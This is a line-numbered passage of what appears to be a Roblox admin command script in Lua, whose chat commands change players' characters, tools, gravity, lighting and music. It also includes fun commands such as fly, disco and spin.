  3093. if msg:lower():sub(1,6) == "smoke " then
  3094. local plrz = GetPlr(plr, msg:lower():sub(7))
  3095. for i, v in pairs(plrz) do
  3096. coroutine.resume(coroutine.create(function()
  3097. if v and v.Character and v.Character:findFirstChild("Torso") then
  3098. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  3099. end
  3100. end))
  3101. end
  3102. end
  3103.  
  3104. if msg:lower():sub(1,8) == "unsmoke " then
  3105. local plrz = GetPlr(plr, msg:lower():sub(9))
  3106. for i, v in pairs(plrz) do
  3107. coroutine.resume(coroutine.create(function()
  3108. if v and v.Character and v.Character:findFirstChild("Torso") then
  3109. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  3110. end
  3111. end))
  3112. end
  3113. end
  3114.  
  3115. if msg:lower():sub(1,9) == "sparkles " then
  3116. local plrz = GetPlr(plr, msg:lower():sub(10))
  3117. for i, v in pairs(plrz) do
  3118. coroutine.resume(coroutine.create(function()
  3119. if v and v.Character and v.Character:findFirstChild("Torso") then
  3120. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  3121. end
  3122. end))
  3123. end
  3124. end
  3125.  
  3126. if msg:lower():sub(1,11) == "unsparkles " then
  3127. local plrz = GetPlr(plr, msg:lower():sub(12))
  3128. for i, v in pairs(plrz) do
  3129. coroutine.resume(coroutine.create(function()
  3130. if v and v.Character and v.Character:findFirstChild("Torso") then
  3131. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  3132. end
  3133. end))
  3134. end
  3135. end
  3136.  
  3137. if msg:lower():sub(1,3) == "ff " then
  3138. local plrz = GetPlr(plr, msg:lower():sub(4))
  3139. for i, v in pairs(plrz) do
  3140. coroutine.resume(coroutine.create(function()
  3141. if v and v.Character then Instance.new("ForceField", v.Character) end
  3142. end))
  3143. end
  3144. end
  3145.  
  3146. if msg:lower():sub(1,5) == "unff " then
  3147. local plrz = GetPlr(plr, msg:lower():sub(6))
  3148. for i, v in pairs(plrz) do
  3149. coroutine.resume(coroutine.create(function()
  3150. if v and v.Character then
  3151. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  3152. end
  3153. end))
  3154. end
  3155. end
  3156.  
  3157. if msg:lower():sub(1,7) == "punish " then
  3158. local plrz = GetPlr(plr, msg:lower():sub(8))
  3159. for i, v in pairs(plrz) do
  3160. coroutine.resume(coroutine.create(function()
  3161. if v and v.Character then
  3162. v.Character.Parent = game:service("Lighting")
  3163. end
  3164. end))
  3165. end
  3166. end
  3167.  
  3168. if msg:lower():sub(1,9) == "unpunish " then
  3169. local plrz = GetPlr(plr, msg:lower():sub(10))
  3170. for i, v in pairs(plrz) do
  3171. coroutine.resume(coroutine.create(function()
  3172. if v and v.Character then
  3173. v.Character.Parent = game:service("Workspace")
  3174. v.Character:MakeJoints()
  3175. end
  3176. end))
  3177. end
  3178. end
  3179.  
  3180. if msg:lower():sub(1,7) == "freeze " then
  3181. local plrz = GetPlr(plr, msg:lower():sub(8))
  3182. for i, v in pairs(plrz) do
  3183. coroutine.resume(coroutine.create(function()
  3184. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3185. for a, obj in pairs(v.Character:children()) do
  3186. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  3187. end
  3188. end
  3189. end))
  3190. end
  3191. end
  3192.  
  3193. if msg:lower():sub(1,5) == "thaw " then
  3194. local plrz = GetPlr(plr, msg:lower():sub(6))
  3195. for i, v in pairs(plrz) do
  3196. coroutine.resume(coroutine.create(function()
  3197. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3198. for a, obj in pairs(v.Character:children()) do
  3199. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  3200. end
  3201. end
  3202. end))
  3203. end
  3204. end
  3205.  
  3206. if msg:lower():sub(1,5) == "heal " then
  3207. local plrz = GetPlr(plr, msg:lower():sub(6))
  3208. for i, v in pairs(plrz) do
  3209. coroutine.resume(coroutine.create(function()
  3210. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3211. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3212. end
  3213. end))
  3214. end
  3215. end
  3216.  
  3217. if msg:lower():sub(1,4) == "god " then
  3218. local plrz = GetPlr(plr, msg:lower():sub(5))
  3219. for i, v in pairs(plrz) do
  3220. coroutine.resume(coroutine.create(function()
  3221. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3222. v.Character.Humanoid.MaxHealth = math.huge
  3223. v.Character.Humanoid.Health = 9e9
  3224. end
  3225. end))
  3226. end
  3227. end
  3228.  
  3229. if msg:lower():sub(1,6) == "ungod " then
  3230. local plrz = GetPlr(plr, msg:lower():sub(7))
  3231. for i, v in pairs(plrz) do
  3232. coroutine.resume(coroutine.create(function()
  3233. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3234. v.Character.Humanoid.MaxHealth = 100
  3235. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3236. end
  3237. end))
  3238. end
  3239. end
  3240.  
  3241. if msg:lower():sub(1,8) == "ambient " then
  3242. local chk1 = msg:lower():sub(9):find(" ") + 8
  3243. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  3244. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  3245. end
  3246.  
  3247. if msg:lower():sub(1,11) == "brightness " then
  3248. game.Lighting.Brightness = msg:sub(12)
  3249. end
  3250.  
  3251. if msg:lower():sub(1,5) == "time " then
  3252. game.Lighting.TimeOfDay = msg:sub(6)
  3253. end
  3254.  
  3255. if msg:lower():sub(1,9) == "fogcolor " then
  3256. local chk1 = msg:lower():sub(10):find(" ") + 9
  3257. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  3258. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  3259. end
  3260.  
  3261. if msg:lower():sub(1,7) == "fogend " then
  3262. game.Lighting.FogEnd = msg:sub(8)
  3263. end
  3264.  
  3265. if msg:lower():sub(1,9) == "fogstart " then
  3266. game.Lighting.FogStart = msg:sub(10)
  3267. end
  3268.  
  3269. if msg:lower():sub(1,7) == "btools " then
  3270. local plrz = GetPlr(plr, msg:lower():sub(8))
  3271. for i, v in pairs(plrz) do
  3272. coroutine.resume(coroutine.create(function()
  3273. if v and v:findFirstChild("Backpack") then
  3274. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  3275. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  3276. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  3277. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  3278. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  3279. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  3280. local sb
  3281. local hs
  3282. local pdist
  3283.  
  3284. script.Parent.Selected:connect(function(mouse)
  3285. if not mouse then return end
  3286. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  3287. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  3288. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  3289. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  3290. hs.MouseButton1Down:connect(function() pdist = 0 end)
  3291. end)
  3292.  
  3293. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  3294. end
  3295. end))
  3296. end
  3297. end
  3298.  
  3299. if msg:lower():sub(1,5) == "give " then
  3300. local chk1 = msg:lower():sub(6):find(" ") + 5
  3301. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3302. for i, v in pairs(plrz) do
  3303. coroutine.resume(coroutine.create(function()
  3304. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  3305. for a, tool in pairs(game.Lighting:children()) do
  3306. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  3307. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  3308. end
  3309. end
  3310. end
  3311. end))
  3312. end
  3313. end
  3314.  
  3315. if msg:lower():sub(1,12) == "removetools " then
  3316. local plrz = GetPlr(plr, msg:lower():sub(13))
  3317. for i, v in pairs(plrz) do
  3318. coroutine.resume(coroutine.create(function()
  3319. if v and v.Character and v:findFirstChild("Backpack") then
  3320. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  3321. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  3322. end
  3323. end))
  3324. end
  3325. end
  3326.  
  3327. if msg:lower():sub(1,5) == "rank " then
  3328. local chk1 = msg:lower():sub(6):find(" ") + 5
  3329. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3330. for i, v in pairs(plrz) do
  3331. coroutine.resume(coroutine.create(function()
  3332. if v and v:IsInGroup(msg:sub(chk1+1)) then
  3333. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  3334. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  3335. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  3336. end
  3337. end))
  3338. end
  3339. end
  3340.  
  3341. if msg:lower():sub(1,7) == "damage " then
  3342. local chk1 = msg:lower():sub(8):find(" ") + 7
  3343. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  3344. for i, v in pairs(plrz) do
  3345. coroutine.resume(coroutine.create(function()
  3346. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3347. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  3348. end
  3349. end))
  3350. end
  3351. end
  3352.  
  3353. if msg:lower():sub(1,5) == "grav " then
  3354. local plrz = GetPlr(plr, msg:lower():sub(6))
  3355. for i, v in pairs(plrz) do
  3356. coroutine.resume(coroutine.create(function()
  3357. if v and v.Character and v.Character:findFirstChild("Torso") then
  3358. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  3359. end
  3360. end))
  3361. end
  3362. end
  3363.  
  3364. if msg:lower():sub(1,8) == "setgrav " then
  3365. local chk1 = msg:lower():sub(9):find(" ") + 8
  3366. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  3367. for i, v in pairs(plrz) do
  3368. coroutine.resume(coroutine.create(function()
  3369. if v and v.Character and v.Character:findFirstChild("Torso") then
  3370. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  3371. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  3372. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  3373. end
  3374. end))
  3375. end
  3376. end
  3377.  
  3378. if msg:lower():sub(1,7) == "nograv " then
  3379. local plrz = GetPlr(plr, msg:lower():sub(8))
  3380. for i, v in pairs(plrz) do
  3381. coroutine.resume(coroutine.create(function()
  3382. if v and v.Character and v.Character:findFirstChild("Torso") then
  3383. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  3384. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  3385. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  3386. end
  3387. end))
  3388. end
  3389. end
  3390.  
  3391. if msg:lower():sub(1,7) == "health " then
  3392. local chk1 = msg:lower():sub(8):find(" ") + 7
  3393. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  3394. for i, v in pairs(plrz) do
  3395. coroutine.resume(coroutine.create(function()
  3396. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3397. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  3398. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3399. end
  3400. end))
  3401. end
  3402. end
  3403.  
  3404. if msg:lower():sub(1,6) == "speed " then
  3405. local chk1 = msg:lower():sub(7):find(" ") + 6
  3406. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3407. for i, v in pairs(plrz) do
  3408. coroutine.resume(coroutine.create(function()
  3409. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3410. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  3411. end
  3412. end))
  3413. end
  3414. end
  3415.  
  3416. if msg:lower():sub(1,5) == "team " then
  3417. local chk1 = msg:lower():sub(6):find(" ") + 5
  3418. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3419. for i, v in pairs(plrz) do
  3420. coroutine.resume(coroutine.create(function()
  3421. if v and game:findFirstChild("Teams") then
  3422. for a, tm in pairs(game.Teams:children()) do
  3423. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  3424. end
  3425. end
  3426. end))
  3427. end
  3428. end
  3429.  
  3430. if msg:lower():sub(1,6) == "place " then
  3431. local chk1 = msg:lower():sub(7):find(" ") + 6
  3432. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3433. for i, v in pairs(plrz) do
  3434. coroutine.resume(coroutine.create(function()
  3435. if v and v:findFirstChild("PlayerGui") then
  3436. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  3437. end
  3438. end))
  3439. end
  3440. end
  3441.  
  3442. if msg:lower():sub(1,3) == "tp " then
  3443. local chk1 = msg:lower():sub(4):find(" ") + 3
  3444. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3445. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  3446. for i, v in pairs(plrz) do
  3447. coroutine.resume(coroutine.create(function()
  3448. for i2, v2 in pairs(plrz2) do
  3449. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  3450. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  3451. end
  3452. end
  3453. end))
  3454. end
  3455. end
  3456.  
  3457. if msg:lower():sub(1,7) == "change " then
  3458. local chk1 = msg:lower():sub(8):find(" ") + 7
  3459. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  3460. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  3461. for i, v in pairs(plrz) do
  3462. coroutine.resume(coroutine.create(function()
  3463. if v and v:findFirstChild("leaderstats") then
  3464. for a, st in pairs(v.leaderstats:children()) do
  3465. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  3466. end
  3467. end
  3468. end))
  3469. end
  3470. end
  3471.  
  3472. if msg:lower():sub(1,6) == "shirt " then
  3473. local chk1 = msg:lower():sub(7):find(" ") + 6
  3474. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3475. for i, v in pairs(plrz) do
  3476. coroutine.resume(coroutine.create(function()
  3477. if v and v.Character then
  3478. for i,v in pairs(v.Character:children()) do
  3479. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  3480. end
  3481. end
  3482. end))
  3483. end
  3484. end
  3485.  
  3486. if msg:lower():sub(1,6) == "pants " then
  3487. local chk1 = msg:lower():sub(7):find(" ") + 6
  3488. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3489. for i, v in pairs(plrz) do
  3490. coroutine.resume(coroutine.create(function()
  3491. if v and v.Character then
  3492. for i,v in pairs(v.Character:children()) do
  3493. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  3494. end
  3495. end
  3496. end))
  3497. end
  3498. end
  3499.  
  3500. if msg:lower():sub(1,5) == "face " then
  3501. local chk1 = msg:lower():sub(6):find(" ") + 5
  3502. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3503. for i, v in pairs(plrz) do
  3504. coroutine.resume(coroutine.create(function()
  3505. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  3506. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  3507. end
  3508. end))
  3509. end
  3510. end
  3511.  
  3512. ------------------
  3513. -- Fun Commands --
  3514. ------------------
  3515. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  3516.  
  3517. if msg:lower():sub(1,8) == "swagify " then
  3518. local plrz = GetPlr(plr, msg:lower():sub(9))
  3519. for i, v in pairs(plrz) do
  3520. coroutine.resume(coroutine.create(function()
  3521. if v and v.Character then
  3522. for i,v in pairs(v.Character:children()) do
  3523. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  3524. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  3525. end
  3526. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3527. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  3528. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  3529. local torso = plr.Character.Torso
  3530. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  3531. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  3532. p.Size = Vector3.new(.2,.2,.2)
  3533. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  3534. local motor1 = Instance.new("Motor", p)
  3535. motor1.Part0 = p
  3536. motor1.Part1 = torso
  3537. motor1.MaxVelocity = .01
  3538. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  3539. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  3540. local wave = false
  3541. repeat wait(1/44)
  3542. local ang = 0.1
  3543. local oldmag = torso.Velocity.magnitude
  3544. local mv = .002
  3545. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  3546. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  3547. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  3548. motor1.DesiredAngle = -ang
  3549. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  3550. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  3551. if torso.Velocity.magnitude < .1 then wait(.1) end
  3552. until not p or p.Parent ~= torso.Parent
  3553. script:Destroy()
  3554. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  3555. end
  3556. end))
  3557. end
  3558. end
  3559.  
  3560. if msg:lower():sub(1,6) == "music " then
  3561. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  3562. local id = msg:sub(7)
  3563. local pitch = 1
  3564. if tostring(id):lower():find("caramell") then id = 2303479 end
  3565. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  3566. if tostring(id):find("rick") then id = 2027611 end
  3567. if tostring(id):find("halo") then id = 1034065 end
  3568. if tostring(id):find("pokemon") then id = 1372261 end
  3569. if tostring(id):find("cursed") then id = 1372257 end
  3570. if tostring(id):find("extreme") then id = 11420933 end
  3571. if tostring(id):find("awaken") then id = 27697277 end
  3572. if tostring(id):find("alone") then id = 27697392 end
  3573. if tostring(id):find("mario") then id = 1280470 end
  3574. if tostring(id):find("choir") then id = 1372258 end
  3575. if tostring(id):find("chrono") then id = 1280463 end
  3576. if tostring(id):find("dotr") then id = 11420922 end
  3577. if tostring(id):find("entertain") then id = 27697267 end
  3578. if tostring(id):find("fantasy") then id = 1280473 end
  3579. if tostring(id):find("final") then id = 1280414 end
  3580. if tostring(id):find("emblem") then id = 1372259 end
  3581. if tostring(id):find("flight") then id = 27697719 end
  3582. if tostring(id):find("banjo") then id = 27697298 end
  3583. if tostring(id):find("gothic") then id = 27697743 end
  3584. if tostring(id):find("hiphop") then id = 27697735 end
  3585. if tostring(id):find("intro") then id = 27697707 end
  3586. if tostring(id):find("mule") then id = 1077604 end
  3587. if tostring(id):find("film") then id = 27697713 end
  3588. if tostring(id):find("nezz") then id = 8610025 end
  3589. if tostring(id):find("angel") then id = 1372260 end
  3590. if tostring(id):find("resist") then id = 27697234 end
  3591. if tostring(id):find("schala") then id = 5985787 end
  3592. if tostring(id):find("organ") then id = 11231513 end
  3593. if tostring(id):find("tunnel") then id = 9650822 end
  3594. if tostring(id):find("spanish") then id = 5982975 end
  3595. if tostring(id):find("venom") then id = 1372262 end
  3596. if tostring(id):find("wind") then id = 1015394 end
  3597. if tostring(id):find("guitar") then id = 5986151 end
  3598. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  3599. end
  3600.  
  3601. if msg:lower() == "stopmusic" then
  3602. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  3603. end
  3604.  
  3605. if msg:lower() == "musiclist" then
  3606. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  3607. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  3608. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  3609. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3610. end
  3611.  
  3612. if msg:lower():sub(1,4) == "fly " then
  3613. local plrz = GetPlr(plr, msg:lower():sub(5))
  3614. for i, v in pairs(plrz) do
  3615. coroutine.resume(coroutine.create(function()
  3616. if v and v:findFirstChild("PlayerGui") then
  3617. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  3618. cl.Parent = v.PlayerGui cl.Disabled = false
  3619. end
  3620. end))
  3621. end
  3622. end
  3623.  
  3624. if msg:lower():sub(1,6) == "unfly " then
  3625. local plrz = GetPlr(plr, msg:lower():sub(7))
  3626. for i, v in pairs(plrz) do
  3627. coroutine.resume(coroutine.create(function()
  3628. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  3629. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  3630. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  3631. wait(.1) v.Character.Humanoid.PlatformStand = false
  3632. end
  3633. end))
  3634. end
  3635. end
  3636.  
  3637. if msg:lower() == "disco" then
  3638. for i, v in pairs(lobjs) do v:Destroy() end
  3639. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  3640. game.Lighting.Ambient = color
  3641. game.Lighting.FogColor = color
  3642. until nil]]
  3643. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  3644. end
  3645.  
  3646. if msg:lower() == "flash" then
  3647. for i, v in pairs(lobjs) do v:Destroy() end
  3648. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  3649. game.Lighting.Ambient = Color3.new(1,1,1)
  3650. game.Lighting.FogColor = Color3.new(1,1,1)
  3651. game.Lighting.Brightness = 1
  3652. game.Lighting.TimeOfDay = 14
  3653. wait(.1)
  3654. game.Lighting.Ambient = Color3.new(0,0,0)
  3655. game.Lighting.FogColor = Color3.new(0,0,0)
  3656. game.Lighting.Brightness = 0
  3657. game.Lighting.TimeOfDay = 0
  3658. until nil]]
  3659. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  3660. end
  3661.  
  3662. if msg:lower():sub(1,5) == "spin " then
  3663. local plrz = GetPlr(plr, msg:lower():sub(6))
  3664. for i, v in pairs(plrz) do
  3665. coroutine.resume(coroutine.create(function()
  3666. if v and v.Character and v.Character:findFirstChild("Torso") then
  3667. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  3668. local torso = v.Character:findFirstChild("Torso")
  3669. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
